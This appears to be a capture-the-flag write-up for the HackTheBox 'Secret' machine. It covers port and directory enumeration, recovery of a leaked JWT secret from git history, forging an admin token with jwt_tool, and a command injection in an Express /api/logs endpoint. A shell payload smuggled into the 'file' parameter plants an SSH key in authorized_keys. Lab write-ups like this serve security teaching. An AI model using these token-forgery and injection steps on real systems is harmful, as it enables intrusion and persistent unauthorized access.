Information Gathering

NMAP

  • command used: ( scanning for all the ports fast and efficient)

    sudo nmap -p- -sS --min-rate 5000 --open -T5 -vvv 10.10.11.120 -oG nmap/allPorts --defeat-rst-ratelimit
  • command used: ( scanning the ports we got )

    nmap -A -sC -sV -p22,80,3000 10.10.11.120 -Pn -oA nmap/full_scan

-> All ports scan:

Not shown: 65454 closed tcp ports (reset), 78 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT     STATE SERVICE REASON
22/tcp   open  ssh     syn-ack ttl 63
80/tcp   open  http    syn-ack ttl 63
3000/tcp open  ppp     syn-ack ttl 63

-> All ports scan with flags:

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 97:af:61:44:10:89:b9:53:f0:80:3f:d7:19:b1:e2:9c (RSA)
|   256 95:ed:65:8d:cd:08:2b:55:dd:17:51:31:1e:3e:18:12 (ECDSA)
|_  256 33:7b:c1:71:d3:33:0f:92:4e:83:5a:1f:52:02:93:5e (ED25519)
80/tcp   open  http    nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: DUMB Docs
3000/tcp open  http    Node.js (Express middleware)
|_http-title: DUMB Docs
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Services

TCP 22 ( Default port for SSH )

-> SSH package version - Might be able to find the OS and version.
-> SSH key fingerprint - Has the key been re-used somewhere (Another machine? Same machine, just another port/service?)
-> SSH banner - Any text (if at all) before the password prompt (often get legal warnings about connecting to it)

-> SSH package version:

nc -vn 10.10.11.120 22  
  • output:
    └─$ nc -vn 10.10.11.120 22                                          
    (UNKNOWN) [10.10.11.120] 22 (ssh) open
    SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.3

-> SSH key fingerprint:

ssh root@10.11.1.72
  • output:
    └─$ ssh root@10.10.11.120                                                         
    The authenticity of host '10.10.11.120 (10.10.11.120)' can't be established.
    ECDSA key fingerprint is SHA256:YNT38/psf6LrGXZJZYJVglUOKXjstxzWK5JJU7zzp3g.
    Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
    Warning: Permanently added '10.10.11.120' (ECDSA) to the list of known hosts.
TCP 80 ( Default port for HTTP )

-> Web Server:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
Date: Sat, 18 Dec 2021 11:15:13 GMT
Content-Type: text/html; charset=utf-8
Content-Length: 12872
Connection: keep-alive
X-Powered-By: Express
ETag: W/"3248-nFUp1XavqYRgAFgHenjOsSPQ/e4"

<!DOCTYPE html>
<html lang="en">

<head>
    <title>DUMB Docs</title>

    <!-- Meta -->
    <meta charset="utf-8">
    <meta http-equiv="X-UA-Compatible" content="IE=edge">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <meta name="description" content="Bootstrap Documentation Template For Software Developers">
    <meta name="author" content="Xiaoying Riley at 3rd Wave Media">
    <link rel="shortcut icon" href="favicon.ico">

-> Directory Listing:

gobuster dir -u http://10.10.11.120/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt

-> output:

└─$ gobuster dir -u http://10.10.11.120/ -w /opt/SecLists/Discovery/Web-Content/raft-small-words.txt 
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://10.10.11.120/
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /opt/SecLists/Discovery/Web-Content/raft-small-words.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Timeout:                 10s
===============================================================
2021/12/18 06:16:28 Starting gobuster in directory enumeration mode
===============================================================
/download             (Status: 301) [Size: 183] [--> /download/]
/docs                 (Status: 200) [Size: 20720]               
/api                  (Status: 200) [Size: 93]                  
/assets               (Status: 301) [Size: 179] [--> /assets/]  
/.                    (Status: 301) [Size: 169] [--> /./]       
/API                  (Status: 200) [Size: 93]                  
/Docs                 (Status: 200) [Size: 20720]

Checking the docs we get a manual on how we can use the api

Pentesting API

REGISTER
So we can see an endpoint to register an user so let’s take a look at it.
POST http://localhost:3000/api/user/register

Using curl we can try to figure it out quickly.

We get an error… It’s telling us that we should provide it a name argument.
We can also see that it’s accepting application/json data.

└─$ curl -i -XPOST --data '{"name": "asd"}' http://10.10.11.120:3000/api/user/register -H 'Content-Type: application/json'
HTTP/1.1 400 Bad Request
X-Powered-By: Express
Content-Type: text/html; charset=utf-8
Content-Length: 48
ETag: W/"30-UVsaSneyZLmrsxdLqVVy1ny4bQ4"
Date: Sat, 18 Dec 2021 11:35:34 GMT
Connection: keep-alive

"name" length must be at least 6 characters long 

Now we need to provide it a longer name.
After bypassing every condition we get this

Now that the user is created we can try to log in.

LOG IN

└─$ curl -i -XPOST --data '{"email": "testuser@gmail.com", "password": "testuser123"}' http://10.10.11.120:3000/api/user/login -H 'Content-Type: application/json'
HTTP/1.1 200 OK
X-Powered-By: Express
auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGVzdHVzZXIiLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.S7GnIjI34cCrOSwECtlNZ2qd2Qyu-ypj9mX-399REuo
Content-Type: text/html; charset=utf-8
Content-Length: 212
ETag: W/"d4-kBmsZUcUQXUkuHKeWOaqedWKg08"
Date: Sat, 18 Dec 2021 11:38:51 GMT
Connection: keep-alive

eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGVzdHVzZXIiLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.S7GnIjI34cCrOSwECtlNZ2qd2Qyu-ypj9mX-399REuo

We can see that after loging-in we get a JWT token.
So the only attack vector in this case is to try to create another JWT token with a different user, hopefully one with higher privileges so we can access the private endpoints.

The three main ways to bypass JWT validation:

  • Using the none alg
  • Hijacking another user
  • Brute forcing the key.

Lookin in the manual we can find that there is a user called admin that we could possibly hijack.

The JWT token is a HS256 alg type.

But before any further exploitation we need to keep enumerating on the main websever becuse there could be some potential .js files that we could use.

Enumeration: Source Code

Scrolling through the main page we can find a download button for the source code.

Unziping the local-web.zip we can find tons of files.

Deleting the unimportant files we just have

└─$ ls -lah
total 24K
drwxrwxr-x 5 iulian iulian 4.0K Dec 18 07:12 .
drwxr-xr-x 3 iulian iulian 4.0K Dec 18 07:10 ..
-rw-rw-r-- 1 iulian iulian   72 Sep  3 01:59 .env
drwxrwxr-x 8 iulian iulian 4.0K Sep  8 14:33 .git
drwxrwxr-x 4 iulian iulian 4.0K Sep  3 01:54 public
drwxrwxr-x 2 iulian iulian 4.0K Dec 18 07:11 routes

We have 2 hidden files/dirs… The .env one and .git
Checking the environment file we can see that it contains

└─$ cat .env 
DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
TOKEN_SECRET = secret

That could be useful in our api pentesting…
We also have a .git directory which stores commits, branches, indexes etc.
But the most important thing is that we can see the previous commits and stuff like that

Running git log we can see the history of the code source.

The 2nd one looks interesting…
This could possibly have some secret data that was deleted after finishing the website.
But the developer forgot that we could use git log -p COMMIT in order to go back in time

git log -p 67d8da7a0e53d8fadeb6b36396d86cdcd4f6ec78 
 DB_CONNECT = 'mongodb://127.0.0.1:27017/auth-web'
-TOKEN_SECRET = gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE
+TOKEN_SECRET = secret

With that we could craft our own JWT token to get rid of the privilege errors from /api/priv because the webserver it’s veryfying the token with the one from .env

And it’s also creating the new token based on it

Now…The only file remaining is private.js that contains the routes and what they are containing.

└─$ cat private.js 
const router = require('express').Router();
const verifytoken = require('./verifytoken')
const User = require('../model/user');

router.get('/priv', verifytoken, (req, res) => {
   // res.send(req.user)

    const userinfo = { name: req.user }

    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        res.json({
            creds:{
                role:"admin", 
                username:"theadmin",
                desc : "welcome back admin,"
            }
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})


router.get('/logs', verifytoken, (req, res) => {
    const file = req.query.file;
    const userinfo = { name: req.user }
    const name = userinfo.name.name;
    
    if (name == 'theadmin'){
        const getLogs = `git log --oneline ${file}`;
        exec(getLogs, (err , output) =>{
            if(err){
                res.status(500).send(err);
                return
            }
            res.json(output);
        })
    }
    else{
        res.json({
            role: {
                role: "you are normal user",
                desc: userinfo.name.name
            }
        })
    }
})
router.use(function (req, res, next) {
    res.json({
        message: {
            message: "404 page not found",
            desc: "page you are looking for is not found. "
        }
    })
});
module.exports = router

As you can see it’s veryfying if the use is theadmin and if it is by going to /logs you could potentially do a command injection on the exec() row using ; in order to escape the arguments or something similar.

Now that we know all of that we can continue with the API Pentesting phase.

In order to create the JWT token we will use https://github.com/ticarpi/jwt_tool

Forging Token
python /opt/Git/jwt_tool/jwt_tool.py -I -S hs256 -pc 'name' -pv 'theadmin' -p 'gXr67TtoQL8TShUc8XYsK2HvsBYfyQSFCFZe4MQp7gRpFuMkKjcM72CNQN4fMfbZEKx4i7YiWuNAkmuTcdEriCMm9vPAYkhpwPTiuVwVhvwE' eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MTdlMjgxZWU2N2QzZTA4NTMzOGEzZjYiLCJuYW1lIjoib29wc2llIiwiZW1haWwiOiJvb3BzaWVAb29wcy5jb20iLCJpYXQiOjE2MzU2NTc4NTd9.7v-DST155DL_5yuhC9Zbe2rdyPiGCcd8aeYUucQLVzU
Exploiting /file
└─$ curl http://10.10.11.120:3000/api/logs -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.FeWGxbqUA0ZGsvk0TPur0DFDfTkuYgpADh1gj58Mozk'
{"killed":false,"code":128,"signal":null,"cmd":"git log --oneline undefined"}

We need to provide a file

As you can see we successfully did a command injection that retured the id of the current user.

But we need to obtain a foothold. The best idea is to copy our id_rsa.pub to the user ssh so we can easily ssh into the machine without trying to get a sofisticated reverse shell.

Generate SSH Key

Never use your main SSH key

ssh-keygen -t rsa -b 4096 -C 'iulian@htb' -f secret.htb -P ''

Now we need to make sure that the folder /home/dasith/.ssh/ is present.
So in order to do that we will try to create it and then echo the public key into the authorized_keys

In order to make our life easier we will export the key into a bash variable

export PUBLIC_KEY=$(cat secret.htb.pub)
The Final curl command
┌──(iulian㉿kali)-[~/Desktop/HackTheBox/Secret/tmp]
└─$ curl -i 'http://10.10.11.120:3000/api/logs' -G --data-urlencode 'file=index.js; mkdir -p /home/dasith/.ssh; echo $PUBLIC_KEY >> /home/dasith/.ssh/authorized_keys' -H 'auth-token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJfaWQiOiI2MWJkYzdkYmEyOTMyNzA0NjNkNzRmMGIiLCJuYW1lIjoidGhlYWRtaW4iLCJlbWFpbCI6InRlc3R1c2VyQGdtYWlsLmNvbSIsImlhdCI6MTYzOTgyNzUzMX0.FeWGxbqUA0ZGsvk0TPur0DFDfTkuYgpADh1gj58Mozk'
HTTP/1.1 200 OK
X-Powered-By: Express
Content-Type: application/json; charset=utf-8
Content-Length: 27
ETag: W/"1b-pFfOEX46IRaNi6v8ztcwIwl9EF8"
Date: Sat, 18 Dec 2021 12:52:32 GMT
Connection: keep-alive

"ab3e953 Added the codes\n"